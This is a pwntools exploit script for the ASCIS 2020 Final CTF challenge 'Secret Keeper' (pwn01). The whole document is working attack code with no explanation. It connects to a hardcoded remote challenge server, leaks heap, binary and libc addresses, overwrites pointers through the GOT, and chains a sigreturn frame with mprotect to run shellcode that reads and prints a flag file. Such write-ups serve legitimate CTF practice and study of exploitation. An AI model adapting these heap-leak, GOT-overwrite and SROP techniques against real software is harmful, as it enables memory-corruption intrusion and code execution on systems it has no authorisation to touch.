ASCIS 2020 Final - Secret Keeper (pwn01)

secret_keeper.py

#!/usr/bin/env python3

from pwn import *

context.os = 'linux'
context.arch = 'amd64'
context.terminal = ['tmux', 'sp', '-v', '-p', '90']

b = ELF('./secret_keeper')
l = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')

#r = b.process()
r = remote('35.240.209.133', 1337)

def create(name, size, data, encoder):
    r.sendlineafter('>> ', '1')
    r.sendlineafter('Name: ', name)
    r.sendlineafter('Secret size:', str(size))
    r.sendline(data)
    r.sendlineafter('None\n', str(encoder))

def create2(name, size, data, encoder):
    r.sendlineafter('>> ', '1')
    r.sendlineafter('(0/1)', '0')
    r.sendlineafter('Name: ', name)
    r.sendlineafter('Secret size:', str(size))
    r.sendline(data)
    r.sendlineafter('None\n', str(encoder))

def edit(idx, name, size, data, encoder):
    r.sendlineafter('>> ', '2')
    r.sendlineafter('>> ', str(idx))
    r.sendlineafter('Name:', name)
    r.sendlineafter('Secret size: ', str(size))
    r.sendline(data)
    r.sendlineafter('None\n', str(encoder))

def reuse_secret(idx):
    r.sendlineafter('>> ', '1')
    r.sendlineafter('(0/1)', '1')
    r.sendlineafter('>> ', str(idx))

def view_secret(idx):
    r.sendlineafter('>> ', '3')
    r.sendlineafter('>> ', str(idx))

def delete_secret(idx):
    r.sendlineafter('>> ', '4')
    r.sendlineafter('>> ', str(idx))

def encode_secret(idx):
    r.sendlineafter('>> ', '5')
    r.sendlineafter('>> ', str(idx))

def decode_secret(idx):
    r.sendlineafter('>> ', '6')
    r.sendlineafter('>> ', str(idx))

create('1', 0x40, '', 1)
encode_secret(1)
create2('2', 0x10, '', 3)
view_secret(1)
r.recvline()
heap = int(b''.join(r.recvn(23).split(b' ')[::-1]), 16) - 0x2510
log.info('heap = 0x{:x}'.format(heap))
r.recvline()
r.recvline()
r.recvline()
b.address = int(b''.join(r.recvn(23).split(b' ')[::-1]), 16) - b.symbols['secret_retain']
log.info('binary = 0x{:x}'.format(b.address))
edit(1, '1', 0x40, p64(b.got['free']) + p64(0x8), 1)
view_secret(2)
r.recvline()
l.address = int(b''.join(r.recvn(23).split(b' ')[::-1]), 16) - l.symbols['free']
log.info('libc = 0x{:x}'.format(l.address))

srop = SigreturnFrame()
srop['&uc'] = heap + 0x32f0
srop['uc_stack.ss_size'] = l.symbols['setcontext'] + 0x3d
srop.rdi = heap
srop.rsi = 0x20000
srop.rdx = 0x7
srop.rsp = heap + 0x32f0 + len(bytes(srop))
srop.rip = l.symbols['mprotect']

rop = bytes(srop) + p64(l.address + 0x284c8)   # call rsp
shellcode = shellcode = asm(shellcraft.open('/opt/flag/flag.txt') + shellcraft.read('rax', heap, 0x100) + shellcraft.write(1, heap, 'rax'))

create2('3', 0x1000, rop + shellcode, 3)
edit(1, '1', 0x40, p64(heap + 0x32f0) + p64(0x1000) + p64(0x1) + p64(heap + 0x2850) + p64(l.address + 0x154930), 1) # mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
encode_secret(2)
log.success(r.recvall().decode('ascii'))